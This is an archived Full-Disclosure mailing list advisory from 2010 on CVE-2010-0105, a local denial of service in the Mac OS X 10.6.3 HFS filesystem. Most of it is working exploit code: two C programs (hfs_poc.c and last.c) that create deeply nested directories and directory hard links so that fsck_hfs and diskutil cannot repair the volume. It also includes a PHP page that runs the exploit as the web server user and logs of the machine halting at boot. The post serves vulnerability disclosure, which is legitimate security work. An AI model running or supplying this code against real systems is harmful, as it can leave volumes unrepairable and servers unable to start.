lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Message-ID: <4BD18781.8090302@securityreason.com>
Date: Fri, 23 Apr 2010 13:41:53 +0200
From: Maksymilian Arciemowicz <cxib@...urityreason.com>
To: full-disclosure@...ts.grok.org.uk
Subject: MacOS X 10.6.3 filesystem hfs Denial of Service
	Vulnerability

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

[ MacOS X 10.6.3 filesystem hfs Denial of Service Vulnerability ]

Author: Maksymilian Arciemowicz
http://SecurityReason.com
Date:
- - Dis.: 01.04.2010
- - Pub.: 23.04.2010

CVE: CVE-2010-0105
Risk: Medium

Affected Software:
- - MacOS 10.6 (tested on 1062 and 1063)

NOTE: Prior versions may also be affected.

Orginal URL:
http://securityreason.com/achievement_securityalert/83


- --- 0.Description ---
Mac OS is the trademarked name for a series of graphical user
interface-based operating systems developed by Apple Inc. (formerly
Apple Computer,  Inc.) for their Macintosh line of computer systems. The
Macintosh user experience is credited with popularizing the graphical
user interface. The original form of what Apple would later name the
"Mac OS" was the integral and unnamed system software first introduced
in 1984 with the original Macintosh, usually referred to simply as the
System software.


- --- 1. MacOS X 10.6.3 filesystem hfs Denial of Service ---
The main problem exist in implementation of filesystem (hfs). MacOS X
10.6.3 has default hfs filesystem, so the problem came, when we create a
special structure with hardlinks.

Interesting information is in wikipedia :

http://en.wikipedia.org/wiki/Hard_link

- ---
...
Most modern operating systems don't allow hard links on directories to
prevent endless recursion. A notable exception to this is Mac OS X v10.5
(Leopard) which uses hard links on directories for the Time Machine
backup mechanism only.
...
- ---

In 10.6 we can't use ln(1) command to create hardlink to directory
(example: # ln C/C CX ). Anyway, we can use link(3) function and we
don't need any special privileges! It hear nice to exploit it.. let's try

To show this issue, we need use this program:
( http://securityreason.com/achievement_exploitalert/15 )

- --- hfs_poc.c ---
/* 	Proof of Concept for CVE-2010-0105
	MacOS X 10.6 hfs file system attack (Denial of Service)
	by Maksymilian Arciemowicz from SecurityReason.com

	http://securityreason.com/achievement_exploitalert/15
	
	NOTE:
	
	This DoS will be localized in phase
	
	Checking multi-linked directories

	So we need activate it with line
	
		connlink("C/C","CX");

	Now we need create PATH_MAX/2 directory tree to make overflow.

	and we should get diskutil and fsck_hfs exit with sig=8
	
	~ x$ diskutil verifyVolume /Volumes/max2
	Started filesystem verification on disk0s3 max2
	Performing live verification
	Checking Journaled HFS Plus volume
	Checking extents overflow file
	Checking catalog file
	Checking multi-linked files
	Checking catalog hierarchy
	Checking extended attributes file
	Checking multi-linked directories
	Maximum nesting of folders and directory hard links reached
	The volume max2 could not be verified completely
	Error: -9957: Filesystem verify or repair failed
	Underlying error: 8: POSIX reports: Exec format error
	
		
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>


int createdir(char *name){
	if(0!=mkdir(name,((S_IRWXU | S_IRWXG | S_IRWXO) & ~umask(0))| S_IWUSR
|S_IXUSR)){
		printf("Can`t create %s", name);
		exit(1);}
		else
		return 0;	
}

int comein(char *name){
	if(0!=chdir(name)){
		printf("Can`t chdir in to %s", name);
		exit(1);}
		else
		return 0;	
}

int connlink(a,b)
char *a,*b;
{
	if(0!=link(a,b)){
		printf("Can`t create link %s => %s",a,b);
		exit(1);}
		else
		return 0;	
}

int main(int argc,char *argv[]){
	
 	int level;
	FILE *fp;
	
	if(argc==2) {
		level=atoi(argv[1]);
	}else{
		level=512; //default
	}
	createdir("C"); //create hardlink
	createdir("C/C"); //create hardlink
	
	connlink("C/C","CX"); //we need use to checking multi-linked directorie

	comein("C");
	
	while(level--)
			printf("Level: %i mkdir:%i chdir:%i\n",level,
			createdir("C"),
			comein("C"));		
	
	
	printf("check diskutil verifyVolume /\n");
	return 0;
}

- --- hfs_poc.c ---

or use

- --- last.c ---
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <err.h>
#include <errno.h>
#include <locale.h>

/* function mkpath() from mkdir(1)/netbsd
 * Copyright for mkdir.c (c) 1983, 1992, 1993
 *	The Regents of the University of California.  All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without
 * modification, are permitted provided that the following conditions
 * are met:
 * 1. Redistributions of source code must retain the above copyright
 *    notice, this list of conditions and the following disclaimer.
 * 2. Redistributions in binary form must reproduce the above copyright
 *    notice, this list of conditions and the following disclaimer in the
 *    documentation and/or other materials provided with the distribution.
 * 3. Neither the name of the University nor the names of its contributors
 *    may be used to endorse or promote products derived from this software
 *    without specific prior written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
 * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
 * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE
 * ARE DISCLAIMED.  IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
 * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL
 * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
 * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
 * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
STRICT
 * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
 * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
 * SUCH DAMAGE.
 */
int mkpath(char *path, mode_t mode, mode_t dir_mode){
	
	struct stat sb;
	char *slash;
	int done,rv;

	done=0;
	slash=path;

	for(;;){
		slash += strspn(slash,"/");
		slash += strcspn(slash,"/");
		
		done = (*slash=='\0');
		*slash = '\0';	
		
		rv = mkdir(path, done ? mode : dir_mode);
		if(rv < 0){
			int sverrno;

			sverrno = errno;
			
			if(stat(path,&sb)<0){
				errno=sverrno;
				warn("%s",path);
				return -1;
			}

			if(!S_ISDIR(sb.st_mode)){
				errno = ENOTDIR;
				warn("%s",path);
				return -1;
			}
		} else if (done){
			if((mode & ~(S_IRWXU|S_IRWXG|S_IRWXO) != 0) && (chmod(path,mode)== -1)) {
				warn("%s",path);
				return -1;
			}
		}
		
		
		if(done){
			break;
		}

		*slash = '/';
	}
	
	return 0;
}

int main(){
	
	char symn[]="CX\0";
	char buff[]="C/C\0";
	char *sym;
		
	FILE *fp;
	
	int level=0;
	mode_t mode,dir_mode;

	sym=malloc((strlen(buff)+strlen(symn)+2)*sizeof(char));
	
	mode = ((S_IRWXU | S_IRWXG | S_IRWXO) & ~umask(0));
	dir_mode = mode | S_IWUSR |S_IXUSR;
	
	mkpath(buff,mode,dir_mode);
	link(buff,symn); // to show somethink
	

	while(1) // Phase 0
		if(0!=chdir(buff)){
			printf("Phase 0 done\n");
			break;
		}
		else printf("Next %i\n",level++);

	strcpy(sym,buff);
	strcat(sym,"/");
	strcat(sym,symn);

	for(int ax=level; ax<20000; ax++){ // we can change 20000
		mkpath(buff,mode,dir_mode);
				
		fp=fopen(sym,"a");
		link(sym,symn);
		unlink(sym);
		fclose(fp);

		printf("Level: %i\n",ax);
		
		if(0!=chdir(buff)){
			printf("Done");
			break;
		}
	}
	return 0;
}
- --- last.c ---

The above program last.c, creates a structure:

 C / C / C / C / C / C / C / ..
 C / C / CX
 C / C / C / C / CX
 ...

until maxopenfiles limit or ax<20000. But we don't need create so deep
tree (example hfs_poc.c).
To present last.c, we will use _www(70) user and apache child as a main
process.

127:hardstyle x$ pwd
/Library/WebServer/Doc-uments/hardstyle
127:hardstyle x$ ls -la
total 40
drwxr-xr-x  5 _www  _www    170 Apr  6 16:27 .
drwxrwxr-x  7 root  admin   238 Apr  6 16:24 ..
- -rwxr-xr-x  1 _www  _www   9672 Apr  6 16:27 last
- -rw-r--r--@ 1 _www  _www   3361 Apr  6 16:27 last.c
- -rw-r--r--@ 1 _www  _www     42 Apr  6 16:26 picz.php
127:hardstyle x$ cat picz.php
<?php
	echo "<pre>";
	system("./last");
?>

after requesting to picz.php

127:hardstyle x$ ls -la
total 40
drwxr-xr-x  7 _www  _www    238 Apr  6 16:29 .
drwxrwxr-x  7 root  admin   238 Apr  6 16:24 ..
drwxr-xr-x  3 _www  _www    102 Apr  6 16:29 C
drwxr-xr-x  4 _www  _www    136 Apr  6 16:29 CX
- -rwxr-xr-x  1 _www  _www   9672 Apr  6 16:27 last
- -rw-r--r--@ 1 _www  _www   3361 Apr  6 16:27 last.c
- -rw-r--r--@ 1 _www  _www     42 Apr  6 16:26 picz.php

apache child has created C directory and CX hardlink.

Programs such as:
- - fsck_hfs
- - diskutil
- - "First Aid"
- - etc

are not able to repair the partition where is the directory "CX".

127:hardstyle x$ diskutil verifyVolume /
Started filesystem verification on disk0s1 mac
Performing live verification
Checking Journaled HFS Plus volume
Checking extents overflow file
Checking catalog file
Checking multi-linked files
Checking catalog hierarchy
Checking extended attributes file
Checking multi-linked directories
Maximum nesting of folders and directory hard links reached
The volume mac could not be verified completely
Error: -9957: Filesystem verify or repair failed
Underlying error: 8: POSIX reports: Exec format error

diskutil has exit with signal 8.

If an attacker can trigger fsck on restart server, the computer
automatically turns off with below result:

- ---
...
** Checking multi-linked directories
  Maximum nesting of folders and directory hard links reached
** The volume mac could not be verified completely
/dev/rdisk0s1 (hfs) EXITED WITH SIGNAL 8
fsck failed!
Kext loading now disabled.
Kext unloading now disabled.
Kext autounloading now disabled.
Can`t get kextd port.
syncing disks... Killing all processes

continuing
done
CPU halted
- ---

This example has been created with -3000 fts level. so we don't need
create a very deepth tree (min ~512).

let's try remove C and CX directory (created by last.c).

xs-Mac:hardstyle x$ sudo rm -rf C
rm: C: Directory not empty
xs-Mac:hardstyle x$ sudo rm -rf CX
xs-Mac:hardstyle x$

we can't use rm(1) to simple remove C directory (exploit - last.c). We
need divide this process for a few phases.
It is not easy to delete the directory C, however some relationships can
completely prevent it. Let's look at the mechanism maxopenfiles and try
execute "last" a several times.

- --- Run 0 ---
...
Next 8138
Next 8139
Phase 0 done
Level: 8140
Level: 8141
Level: 8142
Done
...
- --- Run 0 ---
- --- Run 1 ---
...
Next 8141
Next 8142
Phase 0 done
Level: 8143
Done
...
- --- Run 1 ---
- --- Run 2 ---
...
Next 8141
Next 8142
Phase 0 done
Level: 8143
Level: 8144
Done
...
- --- Run 2 ---
- --- Run 3 ---
...
Next 8140
Next 8141
Phase 0 done
Level: 8142
Done
...
- --- Run 3 ---

Irregular call to chdir(3) function, is the result of restrictions
maxopenfiles at the time.

So multiple execution of last.c, prevents our struct before destroing.
How deep will come our program, depends on the number of open files on
the system.
The use of entropy in establishing the structure, can completely
prevent, the removal of a defective structure.

Let's see what google know about

"Maximum nesting of folders and directory hard links reached"

http://www.google.pl/#hl=pl&source=hp&q="Maximum+nesting+of+folders+and+directory+hard+links+reached"

Nobody has ever complained of similar problems.

Let's look at:
...
	if (dfs.depth >= DIRLINK_DFS_MAX_DEPTH) {
		fsckPrint(gptr->context, E_DirHardLinkNesting);
		if (fsckGetVerbosity(gptr->context) >= kDebugLog) {
			print_dfs(&dfs);
		}
		gptr->CatStat |= S_LinkErrNoRepair;
		retval = E_DirHardLinkNesting;
	}
...

where

...
/* Assuming that the name of a directory is single byte, the maximum depth
 * of a directory hierarchy that can accommodate in PATH_MAX will be
 * PATH_MAX/2.  Note that catalog hierarchy check puts limitation of 100
 * on the maximum depth of a directory hierarchy.
 */
#define DIRLINK_DFS_MAX_DEPTH 	PATH_MAX/2
...

When we overskip PATH_MAX/2, interesting line is:

		gptr->CatStat |= S_LinkErrNoRepair;

The user _www is able to give flag S_LinkErrNoRepair :)


- --- 2. Fix ---

Currently not available.
The last vulnerability CVE-2009-0689 was removed in version 10.6.3
(after 9 months). So we have to wait


- --- 3. Credits ---
Discovered by Maksymilian Arciemowicz from SecurityReason.com


- --- 4. Greets ---
Joshua Levitsky
sp3x Infospec EwaM p_e_a pi3


- --- 5. Contact ---
Email:
- - cxib {a\./t] securityreason [d=t} com

GPG:
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg

http://securityreason.com/
http://securityreason.com/exploit_alert/ - Exploit Database
http://securityreason.com/security_alert/ - Vulnerability Database

- -- 
Best Regards,
- ------------------------
pub   1024D/A6986BD6 2008-08-22
uid                  Maksymilian Arciemowicz (cxib)
<cxib@...urityreason.com>
sub   4096g/0889FA9A 2008-08-22

http://securityreason.com
http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
-----BEGIN PGP SIGNATURE-----

iEYEARECAAYFAkvRh4EACgkQpiCeOKaYa9ZvjgCgl524J2Z+ot5CrqVJ49LVLNJn
kigAn1DPwo0bWsSep4sAuxewORjOi1Ef
=N2uI
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Powered by blists - more mailing lists

Powered by Openwall GNU/*/Linux Powered by OpenVZ